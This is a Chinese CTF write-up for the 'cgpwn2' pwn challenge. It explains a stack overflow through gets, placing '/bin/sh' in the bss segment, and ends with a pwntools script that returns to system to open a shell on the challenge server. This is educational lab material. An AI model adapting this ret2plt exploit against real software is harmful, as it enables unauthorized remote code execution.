美文网首页
cgpwn2攻防世界pwn

cgpwn2攻防世界pwn

作者: 杰_74 | 来源:发表于2019-08-09 10:59 被阅读0次

    checksec后试运行,有两个输入


    32位ida


    点进去hello()




    可以利用fgets和gets栈溢出

    发现pwn函数里有system,参数不对,system在plt地址为0x08048420



    shift+F12找字符串,这次就找不到binsh了,看来要想办法写进去


    第一次输入的name在bss段,地址为0x0804A080



    第二次输入时gets函数,在plt地址为0x080483F0


    那我们就在第一次输入把/bin/sh用fgets写进去,第二次利用gets的栈溢出调用syste(/bin/sh)

    写脚本

    #coding=utf8
    from pwn import *
    context.log_level = 'debug'
    p = remote('111.198.29.45',47419)
    
    system_plt = 0x08048420
    bss = 0x0804A080
    
    p.recvuntil('name')
    p.sendline("/bin/sh")
    p.recvuntil('here:')
    
    payload = ''
    payload += 'A'*0x26
    payload += p32(0)
    payload += p32(system_plt)
    payload += p32(0)
    payload += p32(bss)
    
    p.sendline(payload)
    p.interactive()
    
    成功

    相关文章

      网友评论

          本文标题:cgpwn2攻防世界pwn

          本文链接:https://www.haomeiwen.com/subject/rgscjctx.html